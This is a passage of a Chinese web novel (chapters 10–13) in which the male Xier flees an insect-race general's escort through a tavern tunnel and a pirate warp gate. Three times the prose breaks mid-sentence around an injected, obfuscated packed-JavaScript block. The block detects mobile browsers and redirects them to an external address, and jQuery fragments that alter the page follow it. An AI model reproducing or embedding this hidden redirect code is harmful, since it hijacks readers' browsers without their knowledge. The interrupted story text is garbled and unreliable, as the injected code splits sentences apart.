一圈原先坐着的雌虫们,在艾格莱上将有动作的瞬间,就哗啦一下默契后退,第三军团的雌虫们尤其熟练。
现在会议桌已经塌了,废话演讲也已经结束了,主星舰队的雌虫们没有在艾格莱上将动手时,第一时间拍案而起,很大原因是之前发怒的舰队指挥正沉着脸没表示。
挑选来迎接阁下的队伍,总是要更理智一些,就连下属雌虫都只是窃窃私语,而没有立刻出手。
“啪啪啪!”艾格莱鼓掌,神情欣慰,“讲的真好。”
临时副官顿时感激涕零,完全忘了之前明目张胆打哈欠的也是上将。
艾格莱轻轻跳了下,站到了翘起一边的会议桌上,像是没有体重,很轻地落下,俯视着全场,“欢迎流程也走完了,诸位可以吃个午饭然后休息一下,明天又是美好的一天。”
舰队指挥终于沉声喝道:“艾格莱上将!我们陪你过家家一样浪费了这么久,不是为了看这么一出戏的,你——”
“滴滴滴!”
星脑震动声打断一切。
10.相杀者相爱(10)
艾格莱低头去看,是汉特十万火急的私人通讯,一连串代表紧急的惊叹号之后,终于发来了一句文字。
“阁下今天就要去边缘星球!”
艾格莱牙关一磨,咽下了某句不太干净的话,他伸手一把揪掉头上正带的军帽,充当扇子在脸侧扬起了一阵风,微长的卷发一动,他转眸俯睨虫族主星的所有雌虫,深灰瞳孔有些淡漠。
一瞬的功夫,艾格莱转身从全场最高点走下去,又像是批了军装的家主,属于军雌的铁血淡了些,他踩在唯一的凹陷处。
而他的脚边,正躺着不知生死的第二舰队副指挥。
“诸位,我们要去迎接阁下了。”
之前所有针锋相对和阴阳怪气,哪怕彼此恨不得撕下双方的那层脸面,他们此刻全都默契的握手和谈,因为一个全然陌生的阁下,收敛了所有的暴戾脾性。
如果按照艾格莱的原先打算,至少还有三天时间来和这群家伙走上几轮谈判。
毕竟捡到一位阁下,他们也弄丢了一位阁下,迪格索伦家族的那位阁下,现在确确实实是一点痕迹都找不到。
但计划不如变化,谁让之前还觉得无聊的阁下,现在已经在格雷厄姆星域玩腻了。
雄虫的心情无法左右,艾格莱现在只能另作打算。
追求资格已经具备,等到迪格索伦家族的少家主带队对接后,第三军团会落后舰队一些时日抵达主星。
而那个时候也不知道现在还正常的阁下,在听了主星那些老虫子的话后,会不会变得和其他的雄虫阁下一样。
雄虫阁下一旦心怀排斥,哪怕是上将也没有再靠近的资格。
如果不是雄虫的某些功能会受情绪的影响支配,艾格莱上将在极端情况下,是非常不介意动用非常手段来确定这段关系。
但目前还没有一个雄虫,可以让他产生这样的想法,这是年少最气盛时的阴暗念头,无异于与现在的整个雄虫保护协会为敌。
现在的艾格莱,在整队的时候,认真地想了下追求雄虫阁下要用上的手段,但他那可怜的大脑对于这种东西极度排斥,年少阶段谁敢提,现在还能记得属于法兰克黎的追求礼节,都要赞上一句当年的记忆力好。
所以雄虫这种脆弱的生物为什么会是虫族,甚至还是雌虫基因中疯狂渴求的另一半。
此时突然有虫询问,
“艾格莱上将,这就是军舰被袭击的地方吗?”
浩荡的队伍在走上另一艘要出发的星舰上时,舰队指挥们与艾格莱上将一并站于一旁检阅,密集的雌虫们从他们眼前走过。
第二舰队指挥想起自己最开始是作为第一舰队的的武装舰队出现,颇有兴致地打量着第三军团的军舰,而刚才那句话也正是他询问的。
艾格莱平静道:“不是,主舰损毁严重,如今还在维修,你脚下站着的这艘军舰是临时启用的副军舰。”
被话题勾起兴趣,第一舰队指挥也掉过头来,“普通的巨型外星种应该也不能对三级基地军舰造成伤害,我没看过具体的袭击报告,能造成这么大范围的伤害,是新型的外星生命种吗?”
艾格莱很缓地摇了下头,“外星种的评级是包含生命智慧这一项,当时时间很短,一切观测全部具备主观臆断性,如果让我来说,那我并没有在那种生物上感受到智慧。”
似乎只有趋利避害的本能。
趋的是他,避的是——
想到这,艾格莱眉心动了动。
恰在这时,第一舰队指挥说:“能在突来的情况下护住阁下,对艾格莱上将来说真是难得。”
艾格莱的眼皮跳了下,他沉默了一瞬,人生第一次,非常含糊地出声承认了某件事。
他冰冷心想,估计自己这辈子都会记得这一刻。
其实他很少回想那个时候。
虫族是一个太过追求本能的种族,他们一切情绪极易受到激素影响,吊桥反应对于强大的雌虫来说,偶尔也像是理智瞬间的卡壳,在某个瞬息,心脏涌动的血液包裹住心腔的每个血管,然后砰地一下轻轻漏跳一拍。
在艾格莱直面异兽肢体即将戳至眉心,浑身包括精神却在诡异的不听使唤时,动态视力能捕捉到几十万分之一秒数下的行动轨迹,片段在眼前卡成一帧一帧的,但那种环境下,慢一秒都是必死。
艾格莱那一刻只有战斗本能,情感区域也没有闪现什么值得用最后一点时间去怀念的记忆片段,每个细胞都在发挥多年锻炼下的极限本能。
要活!要战斗!
一切酝酿都被腰间圈住的尾勾打断。
艾格莱不愿承认,但他的超级动态视力和某些时候过目不忘的记忆力,确确实实能清清楚楚勾勒出雄虫阁下尾勾上每个鳞片的花纹,他甚至知道鳞片交叠错落的角度!
记忆中柔软的一根手指就能掰断的尾勾,在腰间开启了第二形态,不仅能轻松抱起一个雌虫的体重,也能轻松撕裂军舰3A级别强度的地板。
艾格莱微默。
难得没有听到反驳的第一舰队指挥,近乎惊异地看了下身边突然安静的艾格莱上将,然而他们没有时间再发生什么血腥事件的机会。
整队完毕,他们终于要正式就见到某位阁下了。
.
“老…阁下,年轻美丽的阁下!我如果去主星找你,你能报销路费吗?就像是你说你之前在中心星球,如果当时我去找你,你也能报销车费吗?”
被以希尔想和昔日“伙伴”聊会天而召唤来的星盗,落座在希尔身边,在明里暗里雌虫们的盯视下,心惊胆战到不用任何雌虫叮嘱,也只敢坐实半个屁股。
这位之前喝醉了胆敢抱着希尔小腿,酒被吓醒后,在虫族军地包围瞄准的时候,还敢像条虫子溜走,结果连累尊贵阁下被误伤的罪孽深重的星盗,不少盯着他的雌虫们,面无表情眼神格外危险,看上去他们下一秒就会因为不爽而瞒着希尔阁下,踩死这条碍眼的虫子。
而在这位喝醉了敢抱住老大小腿,酒醒后能被老大贴心往危险圈外带,被抓后能被老大威逼利诱从而沦为坚定小弟,从此发誓不把虫族雌虫们当上一回事情的星盗,前几天刚刚花了一大笔星币,沿着最后老大分开时留下的定位,带着一群小小弟找到中心星球去。
堪称非常嚣张地在虫族那几个伪装潜伏的雌虫眼皮底下,勾搭上了他们一直保护的希尔阁下。
但是再大的忠心,现在都需要一项坚实的基础。
星币。
一句话没说,甚至没想好要用什么借口开口,才能让某些信息不那么突兀的希尔,手中酒杯默默放下。
身边的星盗小弟忠诚而勇敢,不然是什么给了对方勇气,敢在一群明面上多、暗地里更多的雌虫包围下,说出要钱这种事。
真的没察觉到周围的气氛已经降了一个冰点吗?
“阁下?”星盗小弟满眼殷勤,恨不得在眼睛里写满“求报销”三个字。
希尔算算前几天的路程,从这里到中心星球,确实要花上不少星币,尤其对方还非常骄傲地带上了几个筛选出来的同伙。
于是希尔当场点头,“当然,不管以后你来找我能不能见到我,没有路费怎么行?”
他当即转头看向汉特,“汉特,可以给他……”
汉特非常自觉,他没让阁下说出一个为难的数字,而是报出了一个天价星币数。
星盗震惊,那是一个简直能包下他这辈子从格雷厄姆星域边缘星球到中心星球的车费的数目。
只不过上面带了一行备注。
——“敢来主星找阁下,就把你拆了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139371|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
块一块卖掉还上这笔钱。”
星盗默默捂住星脑,后半程全程低头,不敢看身边任何一个雌虫的眼睛。
他过了今天就不是去主星找老大,而是被你们这群疯子雌虫满星系的找。
星盗的反应很像是被吓到后的心虚,但对于汉特来说,这才是正常反应,之前面对阁下过度放肆,反而让他觉得哪里不对。
希尔全程目睹一切,却只是笑眯眯饮完了所有的酒水。
当主星虫族和第三军团抵达边缘星球,汉特第一时间收到了消息,“阁下,我们该回去了。”
希尔坐直身体,环顾了一下最开始导致后续所有变故的酒馆,它与起点无异。
而现在他只是简单来喝杯酒,也要被完全包场,触目所在,全是雌虫。
密不透风的保护欲。
“我去上个卫生间。”希尔端起一杯崭新的酒水,伸手向前对着汉特简单的敬了一下,只饮了一口就很快放下。
汉特面露微笑,丝毫没有催促的意思。
等到希尔走入卫生间,被四面八方的雌虫们盯住的星盗,瑟瑟发抖地站起了身,他的腿很明显的在抖,像是害怕到了极点,拼着最后一点勇气说出了下面的话,“那我先、先走了!”
最后四面八方各鞠了一躬,比赔罪还恐慌,最后又对着汉特道:“您放心,我不会去主星找希尔阁下的!”
他这句吼得结实,汉特却头也没抬,关注着腕上的星脑讯息,抽空吐出了一个字,“嗯。”
在没有希尔在场的情况下,填满雌虫的场地简直拥堵,凝滞的气场丝毫没有流通的意思,虫族的傲慢在面对一只手就能碾死的星盗时,体现的淋漓尽致。
星盗跑的像是一股烟,在眼前晃荡了下残影,就很快乘风飞的无影无踪,仿佛后面追着几百头凶兽。
汉特略略看了一眼。
又过了五分钟,卫生间内没有传出动静,时间不算什么,尤其当时间体现在阁下们的身上时,等待已经成为雌虫的习惯。
然而很奇怪的不安感,缓缓掐住了汉特的脖子。
酒馆整个都被第三军团的军雌们包围,如果有动静,内外都会瞬间触发,在这种情况下催促阁下不是一件明智的选择。
汉特分析完利弊后,最后耐着性子等了三分钟。
才三分钟,五分钟加上三分钟,希尔进入卫生间已经有八分钟。
不算长,甚至可以说是短的时间。
汉特却猝然起身,大步上前,不顾其他军雌们着急阻拦的手,抬手克制地敲了下门,“阁下?你需要我提供干净的纸巾吗,我刚刚好像想起来,卫生间内的纸巾尚未来得及更换。”
汉特说这话的时候,右手已经搭在了把手上,瞳孔在急速紧缩又扩张。
没有得到回应。
几乎是瞬间,整个酒馆内的军雌骤然站起!
只有被留下调酒的那位外星种,抱着脑袋悄摸摸蹲到了柜台下。
砰——!!!
卫生间的门被大力拉开,汉特甚至不需要查看,就知道任何一间单独的门都没有希尔阁下,这是一个密闭的空间,墙体没有损坏,可一个大活虫就这么凭空消失了。
汉特疾步走动,推开了每个隔间,眼前一阵发黑的同时,只感觉整个军事生涯要跟着第三军团,包括他那不靠谱的上司一起完蛋。
终于推到最后一个隔间,汉特一如之前检查,脚下走过每个地板,却在某一处察觉到脚步声不对。
他蹲下身,手指掀开这块地砖的时候在抖,虽然不合时宜,但汉特依旧想起起那个腿抖得厉害的星盗。
下面是一个地道。
一个待了总共不到半个小时的酒馆,竟然在卫生间有一个地道???
汉特知道事情闹大了。
11.相杀者相爱(11)
酒馆内等待的八分钟,地底下过的飞快,当希尔从地道钻出来,歪歪头,伸手随意弹去发上的泥土。
他一弯腰钻进停在路边的悬浮车,脚踹了一下前座,连回头看一眼的时间都没有。
“快快快!”
迷你车身一个急转弯,打着飘移疾驰而去,开车的星盗比被星际监察队追着打还要慌,脚下踩足油门!
希尔扶住前座,拉开了自己鼻尖和它的距离,他心情格外愉悦,眯眸而笑,在90度打弯转向的瞬间,对着只露出半个屋顶尖角的酒馆挥了挥手。
“拜拜~”
在挥手的同时,许久没有放出来的尾勾搭在希尔肩头,和手掌摇动的幅度相同,对着越发遥远的方向愉悦摇了摇。
这个逃跑计划最开始是希尔留下的后路。
在第三军团将希尔带回主舰之前,醉酒的那名星盗终于清醒,希尔当时只是一个众雌虫眼中的D级雄虫,保护级别远不如现在。
当他随便找个理由和星盗聊上几句的时候,守卫在旁边的那几个雌虫为了表示对阁下的隐私尊重,甚至主动退开了一定的距离。
缩成一团的星盗,讨好地笑,口头上还没改过来,“老大。”
希尔神情沉重地拍了拍他的肩膀,“你带我跑吧。”
本来弯着腰的星盗扑通一声跪了下来。
下面那个字哆嗦半天都没吐出来,星盗简直不敢相信耳朵听到了什么恐怖的东西,这宇宙谁敢在虫族军团的包裹下,带着一个雄虫跑啊。
他抬头,刚想说老大真会开玩笑,却见这名刚刚认证雄虫身份的黑发老大,眼皮一低,面上笑吟吟的,半垂下来的眼睛里不带丝毫笑意。
对方在他面前蹲下身,稍稍偏头,退在视线范围之外的雌虫们在他背后,唯一侧对着这张脸的只有星盗,笑睨的目光自上而下,带着下意识的倨傲。
玩笑一样的话里,全是认真。
“老大,我这样做会死的!”星盗嘴唇在抖,脑子里疯狂闪现过虫族针对外族挑衅的所有血腥案例。
“不这样做,你马上就会死——而且会死的很惨。”希尔亲亲密密地搂着星盗的肩膀,“擅自拐卖雄虫,你应该会当场被他们扒掉这身假皮吧?”
“……”
“这是我藏起来的定位器,当我出现在格雷厄姆星域,你必须第一时间来见我。”
豆粒一样大的定位系统,从星盗眼前跳下,砸在了他麻木伸开的手心里,咕噜噜滚了好几下。
“最好别跑。”
……
当时反正也是随手留个后路的事,希尔的指望不大,结果却出乎他意料之外的顺利。
在从正门跑路的星盗上车后,希尔恨铁不成钢:“让你在外面给我拖会时间,你溜得比我还快!”
星盗连忙向前一低头,“老大你太高估我了,我说话那群雌虫连看都不带看我一眼,我要不早点溜,就跑不掉了!”
到那时,就真的要被扒皮抽筋死不瞑目。
他到现在还心有余悸。
就在这时,从希尔进入卫生间开始算的话,也就是第十分钟。
悠长震荡的封锁警报传遍边缘星球,酒馆之中的此护卫雌虫军队,分散出无数密集的飞行线,急速流向各个跃迁站台。
军雌们发现了。
耳边听的,眼睛看的,就发生在眼前的壮观景象让街道上的外星种们驻足观望,凑在一起看着虫族的第二次热闹。
由于没有合格的生物仪器录入过希尔的生物信息,雌虫们的飞行器从头上越过,也丝毫没有发现下方淹没在无数车流中的某一辆,其中正坐着他们搜寻的目标。
星盗抬头看了眼,不自觉咽了口口水,“老大你看,我就说,再迟一会就跑不掉了。”
他心口砰砰砰,恐惧填充大脑的同时,另有一种和雌虫们开战的激情格外上头。
希尔偏头看了那一眼,眸光很平静地收回了视线,他双手抱在胸口,车内翘起的二郎腿又踢了一下司机的位置,“再快点。”
星盗莫名亢奋,“老大别担心,我们找到的那个跃迁通道绝对保密安全,他们就算封锁住边缘星球所有跃迁站也不管用,我们根本不用出边缘星球!”
希尔却不作声。
.
一进入边缘星球的艾格莱单手压了下耳朵,眼皮撩起向上看了眼,眉心一拢,眼皮也不由跳了下,深灰色的瞳孔幽幽沉下去,翻腾起浓稠的墨色。
艾格莱单手接起汉特的催命连环通讯,当着身旁无数来自主星的雌虫们打开虚拟投影。
出现在半空中的汉特一脸绝望,他只说了一句。
——“上将,阁下跑了。”
啧。
不知为何,艾格莱竟然有种被气到极致的平静,他碾了碾指骨,一声无知觉的骨节错位声响起,极致暴怒的后果,就是他说出的话甚至不带任何情绪。
“废物。”
艾格莱反手挂断了通讯,转身看向身后神色震惊的舰队雌虫们,他们的脸上不仅写上了阁下竟然会逃跑的不可思议,还满是对第三军团竟然连一个阁下都保护不住的深刻怀疑。
最后第一舰队指挥沉下脸,“艾格莱上将,你要做好上军事法庭的准备了,如果这次能够找到阁下,你还只是简单的渎职,但如果找不到,根据之前的几次阻拦通讯,我们有足够的证据怀疑您虐待阁下。”
他们现在还有心情在这里追责,根本就没觉得阁下能跑走,大部队就在身后,一旦加入搜寻队伍,很快能得到结果。
艾格莱喉咙动了动,最后扯开唇角,吐出两个字。
“蠢货。”
他们有没有想过,一个缺乏常识认知的阁下有多善变,当他做出逃跑这个决定的时候,本身就在怀疑整个虫族的安全性。
一个身上全是疑点的阁下,连来路都不明。
“动用你们的大脑看看这是哪,这里是格雷厄姆星域!”
一个曾经被大批生命种族争抢殖民过的资源矿星域,如今混乱的三流星域里,不知道遗留了多少百年前废弃的跃迁通道,一脚就能踩到地雷的战后废星域,竟然还有心情在这里一二三。
真当那位迪格索伦家族的阁下,是轻轻松松就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147214|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让第三军团的侦察部队全军覆没的?!
艾格莱竖瞳眯起,他取下军帽,礼貌在胸前扣了下,“诸位指挥这么迟缓,到时等着一起上军事法庭吧。”
这话一出,现场指挥级别的军雌,脸色全变了。
.
距虫族发出星球封锁警报,已经过了十五分钟。
十五分钟,格雷厄姆星域的边缘星球,几乎到处都是戒严状态的军雌们,天上地下恨不得翻开每个角落,就为了找到逃走的阁下。
而在地下的地下——
“就是这里?”希尔疑惑地左右去看,低窄的地下平台只有部分机械还在迟缓转动,他走近几步,身体很熟练地翻看了机械的情况,“不过比我想的要好,至少还能保证一个单向全程。”
星盗小弟殷勤道:“它还会自动销毁跃迁路线!”
只能去不能回,每次出发还要填充能源,星盗们在这片星域混,手上都有几个只有自己知道的偷渡用的跃迁站点。
“我筛选完能一起跑路的五个星盗后,几个一合计还是这个点最靠谱,距离酒馆最近,启动最快!”作为老大亲选的第一小弟,这位星盗非常自觉地围着希尔打转,老大看哪就说哪。
轰隆隆!
陈旧的跃迁通道被启动,高达百十米的蓝色光波汇聚,不稳定的闪烁频率逐渐定格,代表着跃迁站点的成功激活。
上面忙活的五名星盗飞快跳下,将提前准备好的小型飞船推入轨道中,负责架势飞船的星盗快速启动飞船内的系统,额头渗出大滴大滴的汗珠,连手带脚恨不得一起用,只为了快一点推动系统和跃迁站点的数据接入。
因为他们都知道,慢一秒,下一秒就可能被虫族大部队找过来,对于敢拐带雄虫阁下的他们,是绝对没有任何缓和余地的必死结局。
呼——
终于主驾驶的星盗道:“还需要一会,先坐进来!”
星盗小弟向里,最外面的的位置留给了希尔,在坐稳后,他连忙招手:“老大!快!”
希尔扶住飞船顶部,正要弯腰进入——
轰!!!强力爆破声直接废掉了小半个跃迁点,只有定格凝聚的跃迁通道晃了晃,最后勉强坚持。
陈旧的安保阻拦被轰破,灰尘四溅,大批全幅武装的军雌涌入!
几个星盗吓得脸色青白,希尔侧身去看,熟悉的一个画面,比上次酒馆全体黑色的军装中,掺了近乎一半的其他颜色。
这些雌虫似乎总是这样,明明只是一个再普通不过的雄虫,却好像要掀了天地抓住藏起来。
两侧密集军雌分开,走出几位军装规格不同的军雌,个个神色凝重,在看到安然无恙的希尔时,又纷纷松了口气。
艾格莱上将从中间走出,军帽不知又随手丢在了哪里,领口凌乱半敞开锁骨,他脚步毫不迟疑,几个轻跃就站到了希尔身前,这个距离伸手就能抓到希尔。
艾格莱第一次认真地在看希尔,竖瞳缓和,流露出浅浅的灰,他伸手递到希尔身前,黑色手套包裹每根手指,代表阻拦与邀请,
“希尔阁下,你不能走。”
12.相杀者相爱(12)
当雌虫对一位阁下伸出手时,可以有许多暧昧的含义,但这其中绝不包括警告。
希尔余光瞥到某个星盗悄悄做出的数字比划,直接转身正对这位雌虫上将。
他双手抱胸向后一靠,挡住了后方飞船的入口,微挑起的眉眼下,那双漂亮昂贵的瞳孔,正闪烁着紫色流芒。
阁下正面朝向所有雌虫,弯唇笑了下,看上去像个顽劣的孩子。
这让对阁下心肠冷硬的第三军团,在那一瞬也下意识心里柔软,而来自主星的雌虫们,恨不得直接缴械投降,雄虫说什么就是什么,只要别被骗了去做一些危险的事情。
唯独艾格莱上将微微眯眸,面上没有丝毫变化,甚至脚下微动,保证了自己能在雄虫动作的瞬间,钳制住对方所有退路。
不知道什么时候,一条如覆层层黑玉薄鳞的尾勾悄然滑落而下,勾状尖端缠在了希尔脚踝,有一下没一下的拍着节奏,懒懒的,却让全场瞬间寂静。
希尔看着艾格莱笑,
“你要判我有罪吗?艾格莱上将。”
没人回答。
第一舰队指挥脚下一软,被第三军团的军雌们冷着脸用枪托撑了下,他回神之后暗暗咬牙,扭头冷冷盯住身边汉特,声音压低,“你们第三军团瞒报阁下等级,桩桩件件回到主星后,等着完蛋吧。”
汉特现在撑着面不改色,事到如今只要看看希尔阁下轻松惬意的状态,就知道当时对方给出的所有身体状况,全部蒙他们呢。
他头疼牙疼眼睛疼,只感觉最开始第三军团射向希尔阁下的那一枪,现在砰砰砰好多枪还了回来。
艾格莱神色很淡,他垂眸飞快看了一眼希尔的脚踝,呼吸乱了仅一拍,撩眼却又不漏端倪,“没有雌虫有资格审判您,阁下。”
希尔耸了下肩膀,突然伸出手,很随意地搭在了的艾格莱上托的手掌上,手指骨节分明,黑色手套作底,被衬出了白玉般的温润。
他是悬浮压低了搭上去的,只有指尖那点位置碰到了雌虫上将的手心。
轻慢的、高傲的、戏谑的。
希尔微笑,“我觉得这个动作只适合出现在舞会上,上将,你在邀请我跳舞吗?”
艾格莱的身后就是无数拿枪的军雌们,随意一个都能让这片半废墟彻底崩溃,没有雄虫会在这种环境与压迫下,保持一种冷眼旁观的态度。
但希尔能。
艾格莱很难说清楚自己这一瞬在想些什么,他面上逐渐呈现出冷淡,那点客套披上的礼仪风度,逐渐被骨子里的不耐侵吞。
他很克制地攥住雄虫的指尖,挤出了最后一点耐心,“阁下回到主星后,如果还愿意接受我的邀请,我会在您的迎接宴会上,与您共舞。”
啊,这种烂话到底要说到什么时候。艾格莱心底毫无波澜。
艾格莱手上用力,就要将雄虫扯下来,这场闹剧早就该结束了。
然而扯下来的不是希尔,而是被猛推连退几步的艾格莱。
巨大的反震力来的突然,雄虫的速度实在太快,指尖抽离的瞬间,艾格莱连一道残影都没有捉到,他稳住身体倏然抬头,发现雄虫不知道什么时候已经坐到了飞行器顶端,晃荡的双腿垂在了入口的位置。
一米多长的尾勾危险横隔在艾格莱与希尔之间,勾状尖端冰冷对准雌虫,长状主体像是游走护主的灵蛇,将它的主人包围保护在了中心点。
尾勾呈现非战斗形态,没有战斗形态下的狰狞危险,美丽敏捷,与主星高等级雄虫阁下们偶尔放出的尾勾,没有任何区别。
艾格莱僵住,不知道该拿雄虫娇贵的尾勾怎么办,正常情况下,雌虫未经允许不准以任何借口,触碰雄虫尾勾。
而现在情况到底该怎么判定?
希尔动作瞬间,无数军雌霎时举枪,又霎时压下枪口。
枪口永不准再对准阁下,这是过去留下的惨痛经验。
此时艾格莱进退两难,其他军雌同样进退两难。
希尔漫不经心甩了甩手,居高临下地俯视着艾格莱,“上将,是这样的。”
他用手在自己太阳穴的位置转了下,“我的脑子里偶尔会想起一些片段,有道声音总是在我耳边念叨,尽量不要与雌虫们打架,不要对雌虫下重手,不要伤害雌虫。”
希尔现在一切攻击行动,全靠身体本能,在记忆近乎缺失的情况下,在同等实力的对手前,他很难成为主动攻击的那一方。
除非像是最开始那位星盗老大,完全是碾压性的实力压制,不需要任何攻击手段。
武力单向输出很简单,遇上他目前感到很头疼的这位雌虫上将,只会浪费掉最好的时间。
说完那些话后,希尔困惑地晃了晃脑袋,似乎想要把这种听起来就与现在环境矛盾的话,从脑子里甩出去。
在场军雌的疑惑几乎凝实,打架?
雄虫和他们?
不,雄虫和雌虫?
“但这段时间,你们让我很不舒服,哪怕是给瓷娃娃打扮,也要装作礼貌地问一下喜不喜欢吧?”希尔在飞船上站起身,“我从哪来,要往哪去,什么主星……”
他微微探身,明明是在问所有雌虫,却独独只看向了艾格莱。
“问过我了吗?”
漂亮的深紫瞳孔,此刻乌沉沉看不见半点波澜,眼睫一抬,又似乎半点不在艾格莱身上停留。
艾格莱上将指尖骤然捏紧成拳,他脚下无意识向着希尔动了下,半空中流动的尾勾,顿时在他的鼻尖上空警告性地点了一下。
艾格莱上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151187|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将便又僵住了。
“所以我想,不能打架的话——”希尔彻底站直身体,这次看向不远处扎堆茫然的雌虫们,很轻地歪了下头,
“警告一下,总是可以的吧。”
不等在场所有雌虫反应,尾勾的形态顷刻逆转!
厚重的外骨骼甲一节一节蔓延而上,哪怕虫族的超级动态视力也无法捕捉,进化后的超级武器划破空气,有如金属刀刃般刺亮的光芒,迅疾闪过眼前,高举又落下,在这片空间砸下第二声轰隆巨震!!
一道十几米深的豁口,被雄虫的尾勾撕裂在眼前,就此隔断希尔与雌虫的距离,地下空间因此歪斜,碎石从顶部滚落,这里要塌了!!!
尾勾一个轻盈收回,又成了薄鳞覆盖的温驯状态,在艾格莱身体因此向后趔趄时,希尔反手挂住飞船顶部,像是灵活的猫科兽人,从飞船最后一个门滑了进去。
不需要任何命令,驾驶座的星盗拉足了能源,轰地一声驶进了跃迁通道!
就在眼前的猎物,第三军团的军团长不会因为瞬息的失误而再出错,青木色的翅膀哗地一下绽开,蓝绿荧光游动在深色翅脉之中,像是古木起伏沉重的呼吸,他的反应与希尔滑入的动作完全同步!
作为距离最近的雌虫,本不应该在眼前失手。
只需要动一下鳞翅,艾格莱就飞闪到了飞船末端,只需要再一下,他就能徒手抓住飞船后端的阁下,彻底断掉这个岌岌可危的跃迁通道。
电光火石之间,艾格莱的身体完全与飞船平行,轰隆倒塌的地下空间站点内,视线完全失去平衡支点,眼中世界陷入颠倒,耳边能听到第一舰队指挥抓狂地大吼“不准开枪??!”
被迫正面向上飞行躲开落石的艾格莱,保持与飞船完全平行的高度,在近乎静止的几秒钟,他偏过头要向飞船伸手,却与正托腮撑在飞船窗口上看着他的阁下对上了视线。
对方微微挑眉笑了下,不见丝毫慌张,从身边探出的尾勾,探出最后半开的窗口,先一步打掉了艾格莱伸来的那只手。
这一下让艾格莱心口莫名一滞,他指尖蜷缩,无端想起雄虫俯身看过的那一眼,竟无法再伸第三次手。
至此彻底错过最后时机。
窗口彻底封闭,飞船完全进入跃迁轨道,这个时候再出手,不仅不会阻止跃迁进程,反而会让轨道通向无法预知的地方。
艾格莱收拢翅膀,在混乱崩塌的空间高点,注视着深蓝跃迁闪烁,将那位黑发雄虫送向未知的另一端。
被一下甩开的地方在手腕处,那里明显与一种涌动着的冰凉感碰撞过,却诡异传来火辣辣的灼烧感。
艾格莱静静看了眼,然后转身走进第三军团,途中很轻地嗤了声。
他其实从来不会跳舞。
13.相杀者相爱(13)
“哇哈哈哈——”
跃迁途中,封闭的小型飞船内传来兴奋的鬼哭狼嚎,坐在希尔身边的星盗小弟高举双手,状态已经趋近于药物磕上头的疯癫状态,
“没想到,我竟然有一天能从虫族大部队的眼皮子底下跑路!”
负责驾驶的星盗掏了下耳朵,“别嚎了,要不是老大一个雄虫在前面挡着,那群雌虫早就把我们打成筛子了!”
“嘁!”
宇宙星河被拉伸成浓稠色调的布匹,带着致幻般的绚烂填充了飞船舷窗,希尔伸手顺着星河流动的方向滑动手指,仰头靠过去时,眼中的幽邃紫芒,浅浅浮动几瞬,仿佛有几颗星星落到了他眼睛中。
星盗小弟大脑降温之后,突然凑了过来,热情地嘻嘻笑道:“老大,你之前说以后要是穷的吃不起饭,就可以把你再偷偷卖回虫族,这话还靠谱吗?”
“靠谱啊。”希尔懒洋洋撇过视线,看向星盗小弟,“要是你快饿死了,把我卖了的时候,记得拿到星币跑快点。”
他伸手,微笑狠狠一敲星盗小弟的大脑袋,“不然我会先宰了你。”
星盗小弟捂着额头,默默向后窜去。
跃迁终点出现在眼前,飞船一头扎进一个陌生的星球,舷窗降下,希尔伸出手向外探去,风吹过他的指尖,一个无法得到他认可的陌生族群被抛在了身后。
头发被风吹起,飞船内一片活跃的气氛。
希尔突然转头,很漫不经心地看向星盗小弟,“你叫什么来着?”
星盗小弟愣了下,连忙回复,他说了两遍。
“考特,我叫考特。”
此时飞船降落,终点是一个半废弃的荒原星球,最开始短暂地充当过一阵的垃圾星,但现在基本是作为星际流浪者的中转站,没有生命种会在这里停留太久。
“这个跃迁终点星球也是我无意中发现的,当时是准备留作退路,所以还在这里藏起了部分物资。”驾驶员星盗一边落地一边解释,他身后的跃迁站点彻底报废,滋啦几声电流过后,沦为一堆破铜烂铁。
浮空的飞船落地,突然考特一惊,“那边是不是有家伙在挥手?”
“等等——”
几人下了飞船,考特一揉眼睛,恨不得整个跳起来,“那是巴克?!!!”
对面那个模糊的人影仿佛发现他们是谁,原先狂奔过来的冲势,直接一个急刹转身,一溜烟朝着反方向跑!
捡到他之后,又把他所有东西都扒走,最后购换物资的路上彻底没了消息的巴克?
希尔活动了下手腕,俊美面上终于露出愉悦笑意,命令非常简洁。
“追!”
.
艾格莱最后时刻近乎放水一般的停顿,没有任何雌虫注意到,当时不论是主星雌虫还是第三军团的雌虫,注意力几乎全在自己的枪口上。
混乱的环境下,他们简直头皮发麻,唯恐出现枪走火的情况。
正常情况下,雌虫们的战斗系统会在检测到周围有雄虫后,攻击轨道会在无意中对准阁下时智能变更,但希尔的存在现在还相当于一个黑户,战斗系统中的生物信息只能等到回主星后录入。
